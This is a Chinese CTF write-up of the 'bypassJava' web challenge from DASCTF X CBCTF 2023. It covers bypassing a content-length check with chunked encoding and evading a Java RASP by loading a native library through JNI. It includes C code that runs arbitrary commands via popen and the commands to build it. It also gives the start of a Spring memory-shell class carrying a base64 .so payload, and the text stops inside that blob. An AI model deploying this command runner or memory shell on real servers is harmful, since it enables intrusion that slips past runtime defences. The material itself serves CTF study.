November 5, 2023

DASCTF X CBCTF 2023 Web 赛后复现 Writeup

bypassJava

考点:chunk绕content-length、绕RASP
其实一开始看到这一块
image.png
我的想法是直接让content-length非常长,然后变成-1,类似于溢出,可实际测试发现并不可以哈哈哈哈,然后赛后看了wp发现真不错,我们可以用chunk编码,这是我们绕waf经常用的一种方式,分块发送就行了。我们可以本地调试测试一下
image.png
image.png
image.png
由于是chunked,contentDelimitation被设置为了true
image.png
那么我们接下来的判断就通过了
image.png
那么在这里content-length自然被设置为了-1L
image.png
获取到的为-1,成功绕过了编码- -,那么接下来的就是绕过RASP了

JNI绕过RASP

这么久没见到java题,一见到就是绕RASP的,还记得Neepuctf才被RASP打爆过,借这个机会在学一下有关的知识,首先认识一下什么是JNI加载,通俗的说就是创建一个native方法,根据该方法生成c文件和h文件头以及dll文件,利用这三个文件去调用c语言库中的函数执行系统函数。这样就可以绕过RASP HOOK的Runtime、Process等等东西。

1
2
3
4
5
6
package com.javasec;

public class Cmdclass {
public native String execCmd(String cmd);
}

准备一个如上的java文件先- -
然后javac编译为class文件javac .\Cmdclass.java
image.png
然后产生C语言的文件头
javac -cp . .\Cmdclass.java -h com.javasec.Cmdclass
image.png
回退两个目录cd ../;cd ../
运行javah -cp . com.javasec.Cmdclass
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_javasec_Cmdclass */

#ifndef _Included_com_javasec_Cmdclass
#define _Included_com_javasec_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: com_javasec_Cmdclass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd
(JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

内容如上,现在就是写一个C语言文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include "com_javasec_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execCmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败

while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execCmd(cstr, result))
{
// printf(result);
}

char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();

return cmdresult;
}

然后编译为dll动态链接库
gcc -I "D:\JAVA\include" -I "D:\JAVA\include\win32" -shared -o cmd.dll .\Rce.c
image.png
得到了dll文件

1
2
3
4
5
6
7
8
9
10
11
package com.javasec;

public class JNIDemo {
public static void main(String[] args) {
System.load("E:\\CTFLearning\\Java\\JavaSec\\src\\ShootingRange\\java\\cmd.dll");
Cmdclass cmdclass = new Cmdclass();
String res = cmdclass.execCmd("whoami");
System.out.println(res);
}
}

image.png
然后我们调试一下看看原理,主要是看System.load做了什么
image.png
进入load0方法
image.png
获取fromClass也就是当前程序运行类。接着进行loadLibary方法
image.png
需要指定dll文件的绝对路径,然后进入loadLibarary0方法,所以大家应该会以为loadLibarary0就是最底层的方法了,实则不然,你在往下看看就会发现有个NativeLibrary
image.png
他也有一个load方法
image.png
所以我们的思路就是反射调用NativeLibrary去执行load方法加载恶意so文件。
在linux再编译一个

1
2
javac EvilClass.java
javah EvilClass
1
gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

image.png
得到so后制作filter内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package com.javasec.memshell;
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.List;
import java.util.Vector;

public class Cmdclass extends AbstractTranslet implements HandlerInterceptor {
private static String soBase64="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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+mgCAAAA8unB////kPMPHvpoAwAAAPLpsf///5DzDx76aAQAAADy6aH///+Q8w8e+mgFAAAA8umR////kPMPHvpoBgAAAPLpgf///5DzDx76aAcAAADy6XH///+Q8w8e+vL/JT0vAAAPH0QAAPMPHvry/yVNLwAADx9EAADzDx768v8lRS8AAA8fRAAA8w8e+vL/JT0vAAAPH0QAAPMPHvry/yU1LwAADx9EAADzDx768v8lLS8AAA8fRAAA8w8e+vL/JSUvAAAPH0QAAPMPHvry/yUdLwAADx9EAADzDx768v8lFS8AAA8fRAAASI09GS8AAEiNBRIvAABIOfh0FUiLBYYuAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI096S4AAEiNNeIuAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsFVS4AAEiFwHQI/+BmDx9EAADDDx+AAAAAAPMPHvqAPaUuAAAAdStVSIM9Mi4AAABIieV0DEiLPYYuAADo2f7//+hk////xgV9LgAAAV3DDx8Aww8fgAAAAADzDx766Xf////zDx76VUiJ5UiB7AAQAABIgwwkAEiB7AAQAABIgwwkAEiB7AAQAABIgwwkAEiD7DBIib3Yz///SIm10M///2RIiwQlKAAAAEiJRfgxwEiLhdjP//9IjRWsDQAASInWSInHuAAAAADorP7//0iYSImF6M///0iDvejP//8AdUC4AAAAAOtlSIuV6M///0iNhfDP//++gAAAAEiJx+hX/v//SIXAdBlIjZXwz///SIuF0M///0iJ1kiJx+h5/v//SIuF6M///0iJx+g6/v//hcB0tEiLhejP//9Iice4AAAAAOhC/v//uAEAAABIi1X4ZEgrFCUoAAAAdAXo2f3//8nD8w8e+lVIieVIgewAEAAASIMMJABIgewAEAAASIMMJABIgewAEAAASIMMJABIgeywAAAASIm9aM///0iJtWDP//9IiZVYz///ZEiLBCUoAAAASIlF+DHASIuFaM///0iLAEyLgEgFAABIi41Yz///SIuFaM///7oAAAAASInOSInHQf/QSImFcM///0jHhfDP//8AAAAASMeF+M///wAAAABIjYUA0P//uvAvAAC+AAAAAEiJx+gt/f//SI2V8M///0iLhXDP//9IidZIicfo9Pz//0jHhYDP//8AAAAASMeFiM///wAAAABIx4WQz///AAAAAEjHhZjP//8AAAAASMeFoM///wAAAABIx4Woz///AAAAAEjHhbDP//8AAAAASMeFuM///wAAAABIx4XAz///AAAAAEjHhcjP//8AAAAASMeF0M///wAAAABIx4XYz///AAAAAMeF4M///wAAAABIjZXwz///SI2FgM///0iJ1kiJx+i9/P//SIuFaM///0iLAEiLiDgFAABIjZWAz///SIuFaM///0iJ1kiJx//RSImFeM///0iLhXjP//9Ii1X4ZEgrFCUoAAAAdAXoFPz//8nDAADzDx76SIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAARsDOzAAAAAFAAAAHPD//0wAAACs8P//dAAAALzw//+MAAAA9fH//6QAAAD18v//xAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAyO///5AAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAADDw//8QAAAAAAAAAAAAAAAUAAAAXAAAACjw//+AAAAAAAAAAAAAAAAcAAAAdAAAAEnx//8AAQAAAEUOEIYCQw0GAvcMBwgAABwAAACUAAAAKfL//8UBAAAARQ4QhgJDDQYDvAEMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA